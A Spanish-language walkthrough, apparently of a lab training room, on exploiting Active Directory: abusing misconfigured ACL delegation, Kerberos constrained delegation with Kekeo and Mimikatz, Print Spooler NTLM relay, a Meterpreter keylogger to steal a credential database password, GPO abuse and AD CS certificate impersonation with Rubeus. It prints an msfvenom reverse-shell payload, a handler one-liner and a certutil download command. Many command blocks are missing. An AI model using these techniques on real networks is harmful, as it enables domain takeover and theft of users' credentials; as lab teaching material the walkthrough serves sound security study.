Exploiting Active Directory
Última actualización
Última actualización
Active Directory puede delegar permisos y privilegios a través de una función llamada Delegación de permisos (que no debe confundirse con la Delegación Kerberos que se analizará en la siguiente tarea). La delegación es lo que hace que la AD sea tan poderosa en las organizaciones. Imaginemos que trabajamos para una organización que tiene 50.000 empleados. Como nos preocupamos por la seguridad, solo tenemos tres usuarios que tienen acceso a las credenciales de DA. Sería imposible para esos tres usuarios responder a todas las solicitudes de los usuarios, como restablecer sus contraseñas. Usando Delegación, podemos delegar el permiso para forzar el cambio de contraseña de un usuario al equipo de soporte técnico, lo que significa que ahora tienen un privilegio delegado para esta función específica. En principio, para mantener segura la Delegación, se debe seguir el principio de privilegio mínimo. Sin embargo, en las organizaciones grandes, esto es más fácil decirlo que hacerlo. En esta tarea veremos cómo explotar algunas configuraciones erróneas de la delegación.
Los exploits de delegación de permisos a menudo se denominan ataques basados en ACL. AD permite a los administradores configurar entradas de control de acceso (ACE) que completan las listas de control de acceso discrecional (DACL), de ahí el nombre de ataques basados en ACL. Casi cualquier objeto AD se puede proteger con ACE, que luego describen los permisos permitidos y denegados que cualquier otro objeto AD tiene contra el objeto de destino.
Sin embargo, si estas ACE están mal configuradas, es posible que un atacante las explote. Veamos nuestro ejemplo nuevamente. Si al equipo de soporte de TI se le otorgara ForceChangePassword ACE sobre el grupo de usuarios del dominio, esto se consideraría inseguro. Seguro que podrían restablecer las contraseñas de los empleados que las olvidaron, pero esta mala configuración les permitiría también restablecer las contraseñas de cuentas privilegiadas, como las cuentas que son miembros del grupo Administradores de dominio, lo que esencialmente permite la escalada de privilegios.
ForceChangePassword: Tenemos la capacidad de establecer la contraseña actual del usuario sin conocer su contraseña actual.
AddMembers: Tenemos la capacidad de agregar usuarios (incluida nuestra propia cuenta), grupos o computadoras al grupo objetivo.
GenericAll: Tenemos control total sobre el objeto, incluida la capacidad de cambiar la contraseña del usuario, registrar un SPN o agregar un objeto AD al grupo objetivo.
GenericWrite: podemos actualizar cualquier parámetro no protegido de nuestro objeto de destino. Esto podría permitirnos, por ejemplo, actualizar el parámetro scriptPath, lo que provocaría que se ejecutara un script la próxima vez que el usuario inicie sesión.
WriteOwner: tenemos la capacidad de actualizar el propietario del objeto de destino. Podríamos convertirnos en propietarios, lo que nos permitiría obtener permisos adicionales sobre el objeto.
WriteDACL: tenemos la capacidad de escribir nuevas ACE en el DACL del objeto de destino . Podríamos, por ejemplo, escribir una ACE que otorgue a nuestra cuenta control total sobre el objeto de destino.
AllExtendedRights: Tenemos la capacidad de realizar cualquier acción asociada con derechos AD extendidos contra el objeto de destino. Esto incluye, por ejemplo, la capacidad de forzar el cambio de contraseña de un usuario.
En otra pestaña de Terminal, ejecute bloodhound --no-sandbox. Esto le mostrará la GUI de autenticación :
Las credenciales predeterminadas para la base de datos neo4j serán neo4j:neo4j. Utilice esto para autenticarse en Bloodhound. Una vez autenticado, puedes arrastrar y soltar los dos zips en la pantalla de Bloodhound. Una vez que se ingieren los datos, podemos comenzar a enumerar rutas de ataque nuevamente.
Si buscamos nuestra cuenta de usuario que fue asignada en la Tarea 1 en Bloodhound, vemos que no tenemos muchos permisos. Tenemos la capacidad de realizar RDP en THMWRK1, pero esto solo nos proporcionará acceso con pocos privilegios.
Dado que el dominio tiene niveles, nuestro primer paso será comprometer la infraestructura de Nivel 2. Necesitamos comprometer el grupo de administradores de nivel 2 ya que este grupo tiene privilegios administrativos en todas las estaciones de trabajo. Preguntémosle a Bloodhound si quizás existe un camino que podamos seguir para comprometer a este grupo. Agregue su cuenta de usuario como posición inicial y el grupo de administradores de nivel 2 como posición final.
Bloodhound nos muestra un camino muy interesante. Parece que hubo un poco de delegación de permisos en este dominio. Un administrador configuró mal la delegación de permisos del grupo de soporte de TI al proporcionar al grupo de usuarios de dominio AddMembers ACE. Esto significa que cualquier miembro del grupo de Usuarios de Dominio (incluida nuestra cuenta) puede agregar cuentas al Grupo de Soporte de TI . Además, Bloodhound muestra que el grupo de soporte de TI tiene ForceChangePassword ACE para los miembros del grupo de administradores de nivel 2 . En realidad, esto no es un error de configuración, ya que los administradores de nivel 2 no son tan sensibles, pero proporciona una ruta de ataque muy potente cuando se combina con el error de configuración inicial. ¡Aprovechémoslo!
El primer paso en esta ruta de ataque es agregar nuestra cuenta de AD al grupo de soporte de TI . Usaremos el cmdlet Add-ADGroupMember PowerShell del conjunto de herramientas AD-RSAT para esto. Inicie PowerShell (ya sea en RDP o mediante SSH) en el host THMJMP1 y ejecute el siguiente comando para agregar su cuenta:
Podemos verificar que el comando funcionó usando el cmdlet Get-ADGroupMember :
Si todo funcionó, deberías ver tu cuenta como miembro.
Ahora que somos miembros del grupo de soporte de TI , hemos heredado la delegación de permisos ForceChangePassword sobre el grupo de administradores de nivel 2 . Primero, necesitamos identificar a los miembros de este grupo para seleccionar un objetivo. Podemos usar el cmdlet Get-ADGroupMember nuevamente para ayudar con esto:
Tome nota del nombre de usuario de una de estas cuentas. Dado que la red es compartida, sería mejor seleccionar una más abajo en la lista. Usaremos el cmdlet AD-RSAT Set-ADAccountPassword para forzar el cambio de contraseña:
Nota: Si recibe un error de Acceso denegado, sus permisos aún no se han propagado a través del dominio. Esto puede tardar hasta 10 minutos. El mejor enfoque es finalizar su sesión SSH o RDP, tomar un breve descanso y luego volver a autenticarse e intentarlo nuevamente. También puedes ejecutarlogpupdate /force y luego desconectarte y volver a conectarte, lo que en ciertos casos hará que la sincronización se realice más rápido.
Si este paso funcionó, ahora debería poder autenticarse en THMWRK1 utilizando esta cuenta de destino con su nueva contraseña. Actualmente tiene acceso administrativo a esta estación de trabajo. ¡Felicidades! Ha escalado oficialmente sus privilegios a Administrador de nivel 2 al explotar las delegaciones de permisos.
A continuación, veremos la delegación de Kerberos . Cuando se habla de delegación de AD, normalmente se habla de esto, no de delegación de permisos.
El uso práctico de la delegación Kerberos es permitir que una aplicación acceda a recursos alojados en un servidor diferente. Un ejemplo de esto sería un servidor web que necesita acceder a una base de datos SQL alojada en el servidor de base de datos para la aplicación web que aloja. Sin delegación, probablemente usaríamos una cuenta de servicio AD y le proporcionaríamos acceso directo a la base de datos. Cuando se realizan solicitudes en la aplicación web, la cuenta de servicio se utilizará para autenticarse en la base de datos y recuperar información.
Sin embargo, podemos permitir que esta cuenta de servicio se delegue al servicio del servidor SQL . Una vez que un usuario inicia sesión en nuestra aplicación web, la cuenta de servicio solicitará acceso a la base de datos en nombre de ese usuario. Esto significa que el usuario solo podrá acceder a los datos de la base de datos para los que tenga los permisos pertinentes sin tener que proporcionar ningún privilegio de base de datos o permiso a la propia cuenta de servicio.
Para combatir las fallas de seguridad de la delegación sin restricciones, Microsoft introdujo la delegación restringida en 2003. La delegación restringida restringe los servicios a los que se puede delegar una cuenta, lo que limita la exposición si una cuenta se ve comprometida. Los siguientes son ejemplos de servicios que se pueden configurar para delegación:
HTTP : se utiliza para aplicaciones web para permitir la autenticación PassThrough mediante credenciales de AD.
CIFS: el sistema de archivos común de Internet se utiliza para compartir archivos y permite delegar usuarios en recursos compartidos.
LDAP: se utiliza para delegar al servicio LDAP acciones como restablecer la contraseña de un usuario.
HOST: permite delegar la cuenta para todas las actividades en el host.
MS SQL : permite la delegación de cuentas de usuario al servicio SQL para la autenticación PassThrough a bases de datos.
Explotar la delegación restringida suele ser más complejo que explotar la delegación no restringida, ya que la cuenta delegada no se puede usar para todo. Sin embargo, todavía se puede utilizar para alguna explotación poderosa. Un ejemplo de esto sería si pudiéramos comprometer una cuenta de AD que tuviera configurada la delegación restringida. Al conocer la contraseña en texto plano o incluso simplemente el hash NTLM de esta cuenta, podríamos generar un TGT para esta cuenta y luego usar el TGT para ejecutar una solicitud del servidor de otorgamiento de tickets (TGS) para cualquier cuenta de usuario no confidencial para poder acceder. el servicio como ese usuario. Imagínese hacerse pasar por una cuenta con acceso a una base de datos confidencial, por ejemplo.
Entonces, en realidad existen tres tipos de delegación Kerberos . Pero éste merece ser mencionado por sí solo. Introducida por Microsoft en 2012, la delegación restringida basada en recursos (RBCD) una vez más proporcionó restricciones adicionales a la delegación Kerberos por motivos de seguridad. RBCD cambia por completo el modelo de delegación. En lugar de especificar qué objeto puede delegar en qué servicio, el servicio ahora especifica qué objetos pueden delegar en él. Esto permite al propietario del servicio controlar quién puede acceder a él. En nuestro ejemplo de aplicación web, esto significa que en lugar de especificar que la cuenta del servicio web puede delegar en el servicio de base de datos el acceso a la base de datos, ahora podemos especificar que en el servicio de base de datos la cuenta del servicio web puede delegar el acceso a él.
Aprovecharemos la delegación restringida para esta tarea. Lo primero que debemos hacer es enumerar las delegaciones disponibles. Usemos nuestro nuevo usuario privilegiado para el par de comandos de red. Podemos usar el cmdlet Get-NetUser de PowerSploit para esta enumeración ejecutando el siguiente comando:
Según el resultado de este comando, podemos ver que la cuenta svcIIS puede delegar los servicios HTTP y WSMAN en THMSERVER1. Se podría pensar que esto significa que sólo podemos acceder a sitios web en nombre de usuarios suplantados. Sin embargo, PowerShell Remoting también utiliza los servicios HTTP y WSMAN. La opción ideal sería hacerse pasar por un administrador de nivel 1, ya que esto nos proporcionaría acceso administrativo a través de THMSERVER1.
Repasemos los dos comandos:
token::elevate - Para volcar los secretos del subárbol del registro, necesitamos suplantar al usuario del SISTEMA.
lsadump::secrets: Mimikatz interactúa con el subárbol del registro para extraer las credenciales de texto sin cifrar.
Primero necesitamos generar un TGT que pueda usarse para generar tickets para los servicios HTTP y WSMAN:
Parámetros explicados:
user: el usuario que tiene los permisos de delegación restringidos.
doamin: el dominio que estamos atacando desde Kekeo puede usarse para falsificar tickets para abusar de la confianza entre bosques.
password: la contraseña asociada con la cuenta svcIIS.
Ahora que tenemos el TGT de la cuenta que puede realizar la delegación, podemos falsificar solicitudes de TGS para la cuenta que queremos suplantar. Necesitamos realizar esto tanto para HTTP como para WSMAN para permitirnos crear una PSSession en THMSERVER1:
Parámetros explicados:
tgt: proporcionamos el TGT que generamos en el paso anterior.
user: el usuario que queremos suplantar. Dado que las cuentas t2_ tienen acceso administrativo a través de las estaciones de trabajo, es seguro asumir que las t2_ accounts tendrán acceso administrativo a través de los servidores, así que elija una t1_accounts que le gustaría suplantar.
servicio: los servicios que queremos suplantar mediante la delegación. Primero generamos un TGS para el servicio HTTP . Luego podemos volver a ejecutar el mismo comando para el servicio WSMAN.
Ejecute el comando nuevamente, esta vez para el servicio WSMAN. Ahora que tenemos los dos tickets TGS, podemos usar Mimikatz para importarlos:
Puede salir de Mimikatz y ejecutar klistsi desea verificar que los tickets fueron importados. Ahora que los tickets están importados, finalmente podemos crear nuestra PSSession en THMSERVER1:
En esta tarea veremos algunos relés automatizados. Los intentos de autenticación vuelan constantemente a través de la red y, como se muestra en la sala Breaching AD , si tenemos suerte, podemos interceptar algunos de estos desafíos para obtener acceso. Pero ¿y si no nos gusta esperar? ¿Qué pasa si podemos forzar la autenticación?
Aunque ya tenemos acceso privilegiado a THMSERVER1, podríamos estar en una posición en la que no tuviéramos acceso a un exploit de delegación restringida. Este es otro excelente ataque que se puede realizar para obtener acceso privilegiado a los hosts.
Todos los hosts de Windows tienen una cuenta de máquina. Básicamente, esta es la cuenta de usuario asociada con la máquina. A menos que alguien haya manipulado la cuenta del anfitrión, las contraseñas de estas cuentas no se pueden descifrar. De forma predeterminada, tienen 120 caracteres (UTF16) y se rotan automáticamente cada 30 días.
En AD , estas cuentas de máquina se utilizan bastante en diferentes servicios. Diferentes controladores de dominio utilizan sus cuentas de máquina para sincronizar actualizaciones y cambios de AD. Cuando solicita un certificado en nombre del host en el que está trabajando, la cuenta de máquina de ese host se utiliza para la autenticación en el Servicio de certificados AD.
Hay un caso excepcional en AD , donde una máquina tiene derechos de administrador sobre otra máquina. Básicamente, en la configuración de AD, los permisos administrativos sobre un host se otorgan a otro host. Nuevamente, se trata de una funcionalidad esperada, como controladores de dominio o clústeres SQL, que deben sincronizarse. Sin embargo, estos casos proporcionan un vector de ataque muy interesante para forzar la autenticación.
Primero debemos identificar los casos en los que una cuenta de máquina tiene acceso administrativo sobre otra máquina. Podemos usar Bloodhound para esto, pero eso significa que tendremos que escribir algunas consultas cifradas personalizadas. Haga clic en "Crear consulta personalizada" en la pestaña Análisis en Bloodhound:
Queremos escribir la siguiente consulta:
MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p
Esta consulta intentará encontrar instancias en las que una computadora tenga la relación "AdminTo" sobre otra computadora. Deberías ver un resultado similar a este:
Esto es muy interesante. Nos muestra que la cuenta de la máquina THMSERVER2 tiene privilegios administrativos sobre la máquina THMSERVER1.
No es un error, es una característica: Microsoft.
En serio, cuando se informó esto, Microsoft respondió que se trataba de una característica. El error de la impresora es una "característica" del protocolo MS-RPRN (Protocolo remoto de PrintSystem), que permite a un usuario de dominio forzar de forma remota a un host de destino que ejecuta el servicio Print Spooler a autenticarse en una dirección IP arbitraria. Ha habido algunos de estos errores en los últimos años: Spooler, PetitPotam, PrintNightmare. Microsoft afirma que el único error es que algunos de ellos no requerían ninguna credencial de AD , pero este problema se resolvió mediante parches de seguridad.
Por lo tanto, para explotar esto, además de los privilegios administrativos de la cuenta de la máquina, también debemos cumplir las siguientes cuatro condiciones:
Un conjunto válido de credenciales de cuenta AD .
Conectividad de red al servicio SMB del destino .
El host de destino debe estar ejecutando el servicio Print Spooler.
Los hosts no deben imponer la firma SMB .
Las condiciones 1 y 2 ya se han cumplido. Las únicas dos que necesitamos para garantizar que funcionen son las condiciones 3 y 4.
Necesitamos determinar si el servicio Print Spooler se está ejecutando. Como no tenemos acceso a THMSERVER2, debemos realizar la consulta desde la perspectiva de la red. En este caso, podemos usar una consulta WMI desde nuestra sesión SSH en THMWRK1 para consultar el estado actual del servicio:
El resultado del cmdlet verifica que el servicio se esté ejecutando. Si recibimos un error de acceso denegado, tal vez podría intentar ejecutar el comando PowerShell deGet-PrinterPort -ComputerName thmserver2.za.tryhackme.loc . Sin embargo, Microsoft ha estado tomando medidas enérgicas para ver estos puertos desde la perspectiva de la red. Si ambos te dan un error, es posible que tengas que dar un acto de fe. Por tanto, se ha cumplido la condición tres.
Para transmitir el intento de autenticación forzada, no se debe imponer la firma SMB . Cabe señalar que existe una diferencia entre permitir la firma de SMB y hacer cumplir la firma de SMB. Dado que algunos sistemas heredados no admiten la firma SMB, de forma predeterminada, la configuración de SMB es que la firma está permitida pero no obligatoria, lo que significa que solo se usará si es compatible. Dado que alojaremos un servidor SMB malicioso, podemos asegurarnos de que nuestro servidor no admita la firma, lo que obligará al objetivo a no firmar el intento de autenticación SMB.
Para verificar que THMSERVER1 y THMSERVER2 no tengan aplicada la firma SMB , podemos usar Nmap en nuestro AttackBox:
Podemos ver que la firma SMB está habilitada pero no se aplica según el resultado. ¡Esto significa que se cumplen todas nuestras condiciones y podemos comenzar el ataque!
Nota: este ataque puede ser inestable. Abusar del servicio Print Spooler puede provocar que falle y no siempre se garantiza una devolución de llamada. Por este motivo, la tarea anterior ya te proporcionó los permisos necesarios para continuar. Sin embargo, comprender los relés de autenticación y cómo forzarlos es esencial para la explotación de AD . Como tal, a continuación se proporcionan los pasos para realizar dicho ataque. Puedes decidir intentarlo, pero no se garantiza una devolución de llamada. Si no funciona, pase a la siguiente tarea y tal vez explore esto nuevamente al final de su recorrido por la habitación.
El primer paso es configurar el relé NTLM . En nuestro AttackBox, podemos usar lo siguiente:
Si especificamos el nombre de host de THMSERVER1 en lugar de la IP, el host podría solicitar que utilicemos la autenticación Kerberos en lugar de NTLM. Por lo tanto, deberíamos especificar la IP en su lugar. Con el relé escuchando, ahora podemos obligar a THMSERVER2 a autenticarse con nosotros. En una terminal SSH en THMWRK1, ejecute lo siguiente:
La IP de su atacante debe corresponder con su interfaz tunX para la red. Si todo va bien, debería haber recibido un intento de autenticación y una retransmisión a THMSERVER1.
Este resultado se parece a lo que sucedería si usara el -c 'whoami /all'comando. Sin embargo, al no especificar ningún comando, ahora debería haber realizado un volcado de hash. ¡Estas credenciales ahora se pueden usar para obtener un shell en el host!
Hemos llegado bastante lejos con nuestra explotación hasta este punto. Tenemos acceso administrativo completo a estaciones de trabajo y servidores. Básicamente, podemos realizar una postexplotación en casi cualquier sistema de Nivel 1 y Nivel 2. Pero todavía queremos ir más allá. La siguiente tarea también puede verse como post-explotación, pero a menudo es excelente cuando todavía estamos realizando la explotación para alcanzar una posición adecuada para la ejecución del objetivo. Es hora de que nos dirijamos a los usuarios de AD .
La fábrica del futuro sólo tendrá dos empleados. Un humano y un perro. El humano estará allí para alimentar al perro. El perro estará allí para morder al humano si intenta tocar algo. -Warren Bennis
Lamentablemente, los usuarios suelen ser el eslabón más débil de la cadena de seguridad. Basta pensar en contraseñas débiles y malos hábitos, como otorgar permisos demasiado permisivos. Sería ignorante e ineficaz pasar por alto esta superficie de ataque. Si bien es bueno desarrollar una metodología de ataque y enumeración adecuada contra los usuarios de AD , en esta tarea nos centraremos en dos elementos:
Gestión de credenciales: cómo los usuarios almacenan sus credenciales. En AD , esto es bastante importante ya que los usuarios pueden tener varios conjuntos de credenciales y recordarlas todas puede ser una molestia.
Registro de teclas: a menudo, durante la explotación, necesitamos comprender cómo interactúan los usuarios normales con un sistema. Junto con las capturas de pantalla, el registro de teclas puede ser una herramienta útil para comprender esto desde la perspectiva del atacante.
Ahora que hemos comprometido THMSERVER1, probablemente deberíamos mirar a nuestro alrededor para ver si hay alguna información útil. Eche un vistazo a los directorios de usuarios y vea si hay alguna información útil en alguno de ellos.
Sus esfuerzos de enumeración deberían llevarlo a un archivo .kdbx. ¡Una búsqueda rápida en Google debería confirmar nuestra sospecha de que este archivo es realmente muy valioso! Podemos usar el comando de descarga de Meterpreter para recuperar este archivo.
Este archivo parece ser una base de datos de credenciales. El problema, sin embargo, es que la base de datos está cifrada con una contraseña. Podríamos intentar descifrar la contraseña, pero cualquiera que utilice una base de datos de credenciales normalmente tiene la habilidad para asegurarse de que la contraseña inicial sea segura. Es posible que tengamos más éxito viendo cómo interactúa el usuario con esta base de datos.
Meterpreter tiene un registrador de teclas incorporado. Esto será útil para extraer las pulsaciones de teclas del usuario. Sin embargo, no podemos simplemente iniciar este registrador de teclas y esperar lo mejor ya que nuestro shell se está ejecutando actualmente en el contexto SISTEMA. El SISTEMA no escribirá ninguna pulsación de tecla, por lo que esto no nos ayudará. Para capturar las credenciales del usuario correcto, necesitaremos asegurarnos de que nuestro shell se esté ejecutando en el contexto de ese usuario.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=exploitad LPORT="Listening port" -f psh -o shell.ps1
Luego, también puede usar lo siguiente para crear el oyente asociado en msfconsole:
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT "listening port'; exploit"
Puede alojar su shell meterpreter usando un servidor web Python y luego copiarlo usando algo como esto:
certutil.exe -urlcache -split -f http:///shell.ps1
Una vez que tenga un shell meterpreter, puede continuar. El primer paso es ver si los usuarios tienen algún proceso en ejecución en esta máquina:
Nota: Si no ve un proceso explorer.exe para el usuario trevor.local, puede iniciar el proceso usted mismo realizando los siguientes pasos:
Restablezca la contraseña del usuario trevor.local usando el siguiente comando:net user trevor.local <chosen password>
Ejecute lo siguiente en powershell:C:\auto-login.ps1 trevor.local <chosen password> THMSERVER1
Reinicie el servidor usandoshutdown -r
Una vez que el servidor vuelva a estar en línea, debería ver el proceso del explorador.
¡Parece que tenemos suerte! El usuario tiene una sesión activa en THMSERVER1. Migremos a un proceso de este usuario. La apuesta más segura suele ser algo así como explorer.exe:
Podemos confirmar que ahora estamos ejecutando en el contexto de nuestro objetivo usando el comando getuid:
Ahora estamos listos para iniciar nuestro keylogger:
Ahora hay que tener paciencia y esperar. Si tenemos suerte, ¡capturaremos algunas credenciales! Espere un par de minutos y luego ejecute lo siguiente para volcar las pulsaciones de teclas capturadas:
Aunque la persistencia solo se discutirá en la siguiente sala, ahora podría ser un buen momento para crear una cuenta local en THMSERVER1 y otorgarle derechos de administrador para tener una buena posición. Dado que esto no es realmente necesario para el resto de las tareas, si desea hacer esto, deberá investigar un poco al respecto usted mismo.
El registro de teclas del usuario nos permitió descifrar su base de datos de credenciales, proporcionándonos credenciales que pueden ser útiles para promover nuestro objetivo de explotación de AD , es decir, la cuenta svcServMan. Necesitamos realizar un poco de enumeración para determinar para qué serán útiles estas credenciales. Por suerte para nosotros, ya tenemos datos de Sharphound que podemos utilizar. Usando la función de búsqueda en Bloodhound, revisemos los permisos que tiene la cuenta descubierta:
Un permiso, en particular, destaca para esta cuenta: la propiedad sobre un objeto de política de grupo ( GPO ). Además, cuando investigamos un poco, parece que este GPO se aplica a nuestra máquina THMSERVER2:
¡Esto puede brindarnos la oportunidad ideal para promover nuestra explotación de AD !
¿Recuerda cuando hablamos del directorio SYSVOL en Enumeración de AD ? Este es el directorio donde se almacenan los GPO de AD para replicarlos en máquinas unidas a un dominio. Un GPO es una colección virtual de configuraciones de políticas. Cada GPO tiene un nombre único, llamado GUID. Es por eso que si intentas leer el contenido del directorio SYSVOL, no tendrá mucho sentido con todos los nombres aleatorios.
Cada computadora con Windows tiene una configuración de política local. Este contiene varias configuraciones notables como:
Configuración de aplicaciones para servicios como Firewall , Antivirus y Applocker.
Membresía de grupo local, como los grupos Administrador o Usuarios de escritorio remoto.
Configuración de inicio, como scripts que deben ejecutarse.
Configuraciones de seguridad y protocolo, como compatibilidad con SMBv1.
Estos son solo algunos ejemplos. Hay una cantidad significativa de opciones de configuración que se pueden configurar.
Si solo tiene una computadora con Windows, es fácil cambiar la configuración de la política local directamente en el host. Sin embargo, necesita un mecanismo para implementar una configuración desde una ubicación central en organizaciones grandes. Aquí es donde entra en juego la gestión de políticas de grupo (GPM). En lugar de definir políticas localmente en cada máquina, GPM nos permite definir políticas directamente en la estructura de AD . Básicamente, podemos definir GPO para objetos AD, como una unidad organizativa o un grupo específico.
Las computadoras unidas a un dominio extraerían periódicamente todas las políticas de SYSVOL y aplicarían las relevantes. De forma predeterminada, las políticas se replican cada 15 minutos a través de la aplicación gpupdate. Sin embargo, también podemos ejecutar manualmente esta aplicación desde el símbolo del sistema para aplicar políticas al instante.
Aunque hay varias formas en que se pueden explotar los GPO, nos quedaremos con la solución simple de agregar una cuenta AD que controlamos tanto a los grupos locales de administradores como a los de usuarios de escritorio remoto. Esto nos permitirá privilegios administrativos en THMSERVER2 y la capacidad de RDP. También podríamos usar el puerto SSH expuesto, pero no muchas organizaciones se han actualizado para proporcionar acceso SSH. Por lo tanto, el acceso RDP o las técnicas de movimiento lateral convencionales como SMBExec son más seguras.
Una vez que se le solicite, proporcione la contraseña asociada con la cuenta. Para verificar que proporcionó las credenciales correctas, puede ejecutar dir \\za.tryhackme.loc\sysvol. En la ventana del símbolo del sistema recién generada, podemos iniciar Microsoft Management Console:
Captura de pantalla de MMC.
Ahora queremos agregar el complemento Administración de políticas de grupo:
Haga clic en Archivo -> Agregar o quitar complemento
Seleccione el complemento Administración de políticas de grupo y haga clic en Agregar
Haga clic en Aceptar
Ahora debería poder ver los GPO para el dominio za.tryhackme.com:
Ahora podemos navegar hasta el GPO que nuestro usuario tiene permiso para modificar (Servidores > Servidores de administración > Push del servidor de administración).
Podemos hacer clic derecho en el GPO y seleccionar Editar. Esto abrirá la nueva ventana del Editor de administración de políticas de grupo.
Para agregar nuestra cuenta a los grupos locales, debemos realizar los siguientes pasos:
Expandir la configuración de la computadora
Ampliar políticas
Expandir la configuración de Windows
Expandir configuración de seguridad
Haga clic derecho en Grupos restringidos y seleccione Agregar grupo (si el grupo de soporte de TI ya existe, significa que alguien ya realizó el exploit. Puede eliminarlo para crearlo usted mismo o simplemente inspeccionarlo para ver qué se configuró).
Haga clic en Examinar, ingrese Soporte de TI y haga clic en Verificar nombres
Haga clic en Aceptar dos veces
El primer filtro no se utiliza. Para el segundo filtro, queremos agregar los grupos Administradores y Usuarios de Escritorio remoto. Al final debería quedar algo como esto:
Una vez realizada la configuración, podemos pulsar en Aplicar y Aceptar . Ahora solo nos queda esperar un máximo de 15 minutos para que se aplique el GPO . Después de esto, nuestra cuenta inicial que hicimos miembro del grupo de soporte de TI ahora tendrá permisos administrativos y RDP en THMSERVER2.
Ahora que tenemos acceso a THMSERVER2, hemos avanzado en nuestro viaje de explotación de AD explotando todos los activos de Nivel 1 (servidores). Sin embargo, nuevamente nos encontramos estancados sin los medios simples para pasar al siguiente nivel. Nuevamente tendremos que buscar caminos más creativos.
AD Certificate Services (CS) es la implementación de infraestructura de clave pública (PKI) de Microsoft. Dado que AD proporciona un nivel de confianza en una organización, se puede utilizar como CA para demostrar y delegar la confianza. AD CS se utiliza para varias cosas, como cifrar sistemas de archivos, crear y verificar firmas digitales e incluso autenticación de usuarios, lo que lo convierte en una vía prometedora para los atacantes.
Dado que AD CS es una función privilegiada, normalmente se ejecuta en controladores de dominio seleccionados. Lo que significa que los usuarios normales no pueden interactuar directamente con el servicio. En la otra cara de la moneda, las organizaciones tienden a ser demasiado grandes para que un administrador cree y distribuya cada certificado manualmente. Aquí es donde entran en juego las plantillas de certificado. Los administradores de AD CS pueden crear varias plantillas que pueden permitir que cualquier usuario con los permisos pertinentes solicite un certificado por sí mismo. Estas plantillas tienen parámetros que indican qué usuario puede solicitar el certificado y qué se requiere. SpecterOps descubrió que combinaciones específicas de estos parámetros pueden ser increíblemente tóxicas y abusadas para escalar privilegios y acceso persistente.
Antes de profundizar en el abuso de certificados, algunos términos:
PKI - Public Key Infrastructure es un sistema que gestiona certificados y cifrado de clave pública.
AD CS: Servicios de certificados de Active Directory es la implementación de PKI de Microsoft que generalmente se ejecuta en controladores de dominio.
CA: la Autoridad de certificación es una PKI que emite certificados
Plantilla de certificado: una colección de configuraciones y políticas que definen cómo y cuándo una CA puede emitir un certificado.
CSR: la solicitud de firma de certificado es un mensaje enviado a una CA para solicitar un certificado firmado.
EKU: el uso de claves extendido/mejorado son identificadores de objetos que definen cómo se puede utilizar un certificado generado.
Para encontrar plantillas vulnerables, usaremos la herramienta integrada de Windows, certutil. Usando nuestro acceso RDP en THMSERVER2, podemos ejecutar el siguiente script de Powershell para enumerar los certificados:
Autenticación del cliente : el certificado se puede utilizar para la autenticación del cliente.
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT : la plantilla de certificado nos permite especificar el nombre alternativo del sujeto (SAN).
CTPRIVATEKEY_FLAG_EXPORTABLE_KEY : el certificado se podrá exportar con la clave privada.
Permisos de certificado : tenemos los permisos necesarios para utilizar la plantilla de certificado.
Si está interesado en obtener más información sobre las combinaciones de parámetros tóxicos, lea el documento técnico de SpecterOps. Dado que el objetivo de esta sala es obtener un conocimiento más amplio de los ataques de explotación de AD , señalaremos que la Plantilla[32] es la plantilla vulnerable. En esta plantilla, podemos ver que la cuenta de máquina de THMSERVER2 puede emitir una CSR para una plantilla que nos permite especificar el Nombre alternativo del sujeto (SAN) y puede usarse para la autenticación del cliente.
SpecterOps menciona ocho errores de configuración de seguridad comunes con AD CS, por lo que cabe señalar que todavía se pueden encontrar una cantidad significativa de posibles errores de configuración.
Utilizando el acceso RDP en THMSERVER2, ahora solicitaremos nuestro certificado. Si utiliza Remmina y guarda la configuración de la conexión RDP, asegúrese de desactivar el modo de administración restringido . Usaremos la Microsoft Management Console (MMC):
Haga clic en Inicio -> ejecutar
Escribe mmc y presiona enter
Haga clic en Archivo -> Agregar o quitar complemento.
Agregue el complemento Certificados y asegúrese de seleccionar Cuenta de computadora y Computadora local en las indicaciones.
Haga clic en Aceptar
Ahora debería ver el complemento Certificado:
Solicitaremos un certificado personal:
Haga clic derecho en Personal y seleccione Todas las tareas -> Solicitar nuevo certificado...
Haga clic en Siguiente dos veces para seleccionar la política de inscripción de AD .
Verá que tenemos una plantilla que podemos solicitar, pero primero debemos proporcionar información adicional.
Haga clic en la advertencia Más información .
Cambie la opción Tipo de nombre del sujeto a Nombre común y proporcione cualquier valor, ya que no importa, y haga clic en Agregar .
Cambie la opción Tipo de nombre alternativo a Nombre principal de usuario .
Proporcione el UPN del usuario que desea suplantar. Lo mejor sería una cuenta DA como Administrator@za.tryhackme.loc y hacer clic en Agregar.
Su información adicional debería verse así:
Una vez que esté satisfecho con él, haga clic en Aplicar y Aceptar . Luego, seleccione el certificado y haga clic en Inscribirse . Debería poder ver su certificado:
El último paso es exportar nuestro certificado con la clave privada:
Haga clic derecho en el certificado y seleccione Todas las tareas -> Exportar...
Haga clic en Siguiente , seleccione Sí, exporte la clave privada y haga clic en Siguiente .
Haga clic en Siguiente y luego establezca una contraseña para el certificado, ya que la clave privada no se puede exportar sin una contraseña.
Haga clic en Siguiente y seleccione una ubicación para almacenar el certificado.
Haga clic en Siguiente y finalmente haga clic en Finalizar.
Ahora por fin podemos suplantar a un usuario. Para realizar esto, se requieren dos pasos:
Utilice el certificado para solicitar un ticket de concesión de tickets (TGT) de Kerberos
Cargue Kerberos TGT en la plataforma de piratería que elija
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:
Analicemos los parámetros:
/user : especifica el usuario que suplantaremos y debe coincidir con el UPN del certificado que generamos.
/enctype : especifica el tipo de cifrado del ticket. Configurar esto es importante para la evasión, ya que el algoritmo de cifrado predeterminado es débil, lo que daría como resultado una alerta de sobrepaso del hash.
/certificate - Ruta al certificado que hemos generado
/password : la contraseña de nuestro archivo de certificado.
/outfile - El archivo donde se enviará nuestro TGT
/domain : el FQDN del dominio que estamos atacando actualmente
/dc : la IP del controlador de dominio al que solicitamos el TGT. Por lo general, es mejor seleccionar un DC que tenga un servicio de CA en ejecución.
Una vez que ejecutamos el comando, deberíamos recibir nuestro TGT :
TGT Request
Ahora podemos usar Mimikatz para cargar el TGT y autenticarnos en THMDC:
Potencia Shell
